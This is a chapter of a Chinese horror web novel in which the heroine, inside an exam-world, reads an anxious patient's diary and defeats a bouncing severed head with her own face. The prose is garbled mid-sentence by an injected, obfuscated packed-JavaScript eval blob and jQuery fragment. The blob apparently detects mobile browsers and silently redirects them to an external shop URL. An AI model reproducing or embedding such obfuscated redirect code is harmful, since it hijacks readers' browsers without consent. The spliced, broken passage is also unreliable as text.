85.制药厂其四
作品:《暴躁小鸟在线除妖》 “咚咚咚——”
“咚咚——”
“咚——”
敲击声沉重而缓慢,每一下落地都有黏腻的水声相伴,这木质的房子隔音效果极差,恐怕上下两层中间是空心夹板。
阙烬兰撑起半个身子,在正对着床铺的梳妆镜上看到了和自己无一差别的脸,看来考卷中的小红就是她自己。
眼前是一个老式居民楼,当她下床双脚踩于地板上时,木板还会发出“嘎吱”一响,这房子已有些年头了。还没等她走到门口打开灯,楼市的敲击声就似乎因为听到了木板声而变得杂乱无章了起来,时而止住了声,时而暴起猛地不停向地面砸,阙烬兰感觉天花板岌岌可危。
上面的究竟是个什么玩意儿。
想起卷子上的四个选项...选项A,和楼上喊话,请问这个和直接跟鬼发起决斗邀请有何分别,阙烬兰扶额。
至于B——报警,她觉得这是四个选项中唯一一个看起来比较正常的回答,但是这个异度空间里的警察真的值得信任吗?而且这道加分题的前缀是思想与道德,而不是什么法治频道。
第三个选项是继续睡觉,听着楼上愈演愈烈的砸地声,阙烬兰觉得如果她此刻闭眼入睡很大概率再也没有机会睁开眼了。
而上楼查看......非必要还是不要离开这个房间吧,美式恐怖片中的炮灰们往往都是最勇猛的那几个。
借着月光,阙烬兰看到床头柜上面摆放了一本皮质封面的笔记本,她想打开灯,却发现这间房里无论是台灯,还是头顶的挂灯,都统统失效了,整个房间内可以发出光亮的除了窗边的月光就是枕头边的一个小型手电筒。
她打开手电筒,逐字逐句地阅览笔记本上面的内容。
这是一本日记,字迹极为狂野,比草书还要再草一点儿。
xx年1月1日
我的日子并没有因为新的一年到来而美好起来。
这是我早就预料到的,即便前一天我还在朋友圈内发着“新的一年,请对我好一些。”这种内容,但是我知道,我不可能好起来了。
只要它还在。
为什么它还在?
它怎么可以还在?
xx年1月2日
我受够了。
为什么,为什么,为什么!
我的头发大把大把的掉,我的耳边只有永无止境的嗡鸣,我从没睡过一个完整觉,我的心开始疼痛,我的背开始佝偻,我无法与人对视,我的太阳穴在嘶吼,我浑身颤抖!
都怪你,都怪你,都怪你!
xx年1月3日
我决定了,我不能再这么坐以待毙了,真的继续忍受下去,我就彻底完了。
我动身前往了一个雪白的天堂,那里有和我一样饱受折磨的人,我在天堂和恶魔做了交易,为了结束这永不停歇的折磨,我献出了我的灵魂。
我的灵魂是透明带着绝妙的紫,在头顶尖尖儿上又跃着黑蓝,就像是燃气灶里的一缕幽光。当交易过后,灵魂失去了永恒的光,变得孤寂暗淡,可这正是我想要的。
我早就受够了,我说过了。
就这样吧,只能这样了,你必须死。
我只是想活下去。
活下去而已......
对不起。
xx年1月4日
怎么还在,为什么不愿意放过我?
耐心...对,他们都说要有耐心...
xx年1月5日
没有消失。。!
xx年1月6日
没有。
xx年1月7日
没有。
......
日记只有几面写了可供阅读对内容,剩下的只有日期和“没有”二字,日记的主人一直在坚持记录着,阙烬兰看向窗台上的日历,那上面明晃晃写着1月11日,而日记的日期也正好对应了日历,日记的主人应该是刚刚写完了今天的日记之后躺在床上打算休息,然后被楼上的敲击声给吵醒了。
这个敲击声是日记当中所描述的必须死的“它”吗?
阙烬兰拿起手电筒转身时,突然被梳妆镜中的自己给吓得僵硬了一瞬。
镜子中的面容还是自己的,但是头发肉眼可见的稀疏起来,变得枯黄如同杂草,整个面颊也凹陷异常,就像是被外力生生往里推了一样,她想直起腰,可是有一股巨大的不可控力阻止着自己的行为。
真是活见鬼——
阙烬兰意识到自己和日记中的描述越来越贴近了。
而被她拿在手上的手电筒正不厌其烦地往上照耀着白光,这个角度和光线恰好给阙烬兰打上了幽暗森然的阴影。
“啪嗒——”
阙烬兰赶紧关闭了手电筒,青天黑夜还是不要自己吓自己了。
再次被黑暗和月光笼罩,她的思绪重新归于清明。
日记本中说的雪白的天堂、在天堂和恶魔交易、献出自己的灵魂究竟是什么意思?如果这个异度空间内真的存在神明,那这里的神明究竟又是好是坏?
答案无法通过空想得到,她重新将目光放在日记本身上,也并不是全无所获。
至少她知道楼上这个发出异响的玩意儿应该不是不能消灭掉的,给了她能与之抗衡的勇气。
阙烬兰打开手电筒,深吸一口气,把心放到肚子里。随着老旧木门发出的吱呀一声,她来到了阴暗无光的楼道之中。
这狭窄得如同棺椁内壁,霉湿的寒气贴着她裸露在外的皮肤爬行,将鸡皮疙瘩激起了一片。明明只是隔着一道木门,可是在外面却听不到方才楼上叮咚作响的敲击声了。她将手电筒直直放在身前,来到了楼梯间,这栋居民房没有电梯。
拐角的墙上有孩童用蜡笔涂鸦的残缺笑脸,在潮气浸泡中向外扩散了泪痕般的虚痕,不知道是不是阙烬兰的错觉,总感觉笑脸在她的耳边发出细小的抽笑声。
当阙烬兰来到自己楼上的那间房,发现这里的房门并没有锁。鼓足勇气将那扇木门推开,一颗无风自动的球状物体正在一下又一下的往地面砸。
这应该就是罪魁祸首了吧?
阙烬兰将手电筒往下一扫,一颗脖颈处清晰断裂的头颅跃入眼帘。
随着头颅的跳动翻滚,她看清了那颗头的面容。
正是她自己。
阙烬兰咬紧了唇内壁让自己保持清醒,眼前诡异的场景让她陷入了一秒的凝滞。
这也太不吉利了。
再用手电筒看清了楼上房间的布局后,她便将房门关上,仔仔细细地将和自己一模一样的头抱起来研究。
当头颅离开地面的一刹那,便停止了自转,而是安安分分地呆在阙烬兰的手上。
因为头很小,所以阙烬兰双手毫无负担地就可以将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851868|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
它给捧起来,摆在脸上的双眸无神呆滞地看着前方,毫无眼神光,除此之外的确和自己一模一样。
所以,小红要杀掉的其实是...自己?
而折磨自己的人也是自己?
纯白的天堂......和自己一样饱受折磨的人......
阙烬兰将头单手抱住,另一只手摸了把自己稀疏的头发。
所有真相都逐渐浮现出来了。
小红应该是得了焦虑症,而纯白的天堂就是医院,所谓恶魔其实是医生,献出的灵魂是不停思考的神经,而灵魂变得暗淡——则是因为小红服药而安定了下来。
可是精神类药物并不会百分百马上就会出现效果,而药物的副作用却是在服用的那天就会折磨病人。
所以小红才会在日记本中不停的记录那本该死去的“它”仍旧存活。
正当阙烬兰思考之际,一道有别于整个世界的、极为腐朽的声音从四面八方传来。
“请注意,考试时间只剩最后十五分钟——超时交卷者,成绩作废。”
对了,考试是有时间限制的。
阙烬兰现在理解了加分题的题意,要开始解题了。眼前的一切如虚幻泡影,即便阴森诡谲,但也是臆想出来的。薛定谔的盒子被打开,里面的事物被公之于众,唯一困扰阙烬兰的问题被解决了,她表情稍稍轻松了些许。
抱着那颗和自己一模一样的头冲回了楼下,回到了自己醒来的那个房间,阙烬兰将头颅放到梳妆镜前,离开了管制,那颗头颅再次开始了自转,在梳妆台上缓慢而有规律的跳动。
她翻箱倒柜寻找着药片,可是哪怕她将狭小的房间翻了个底朝天,仍旧一无所获。
“请注意,考试时间只剩最后十分钟。”
要没时间了。
她看向那颗孜孜不倦旋转跳跃的头。
如果这里是一个焦虑症患者脑海中的世界......不能用常理来思考。
焦虑症......
阙烬兰坐在了梳妆台前的椅子上,和那颗与自己一模一样的头颅面对面。她向面前的镜子看去,只看到了一幅极为诡异的景象,可她平静的出奇。
的确,经历了这么多自己总该是要进步了。
还记得刚开始连自己家里的厕所发出异响都会害怕不敢进去,如今看着自己的头在自己面前弹跳,竟然还能面不改色。
她忍不住在胸前给自己竖了一个大拇哥,随后再将手伸向自己脆弱的脖颈。
“咔——”
当自己的头颅向下垂落之时,阙烬兰的五感却仍旧聚焦在直立着的脖颈之上。
“嗬......嗬——疯子——”
平静的表面终于出现了一丝裂缝,梳妆台上那颗头正在死死盯着上面空无一物的脖颈。
赌对了。
无头的阙烬兰摇摇晃晃地站了起来,静静地感受着长着和自己一模一样面容的头颅失去生机,而在她脚边的、那颗刚刚新鲜出炉的头颅再次开始了新一轮的自转。
“咚咚咚——”
她将面前静止的头颅拿起,严丝合缝地卡在了脖颈上面,就在贴合的一刹那,白光乍现,再睁眼,阙烬兰回到了考场。
而此时,离交卷还有五分钟。
一声冷哼在她耳边响起,当她扭头看去,只看到了那位老师的背影。
赢了。

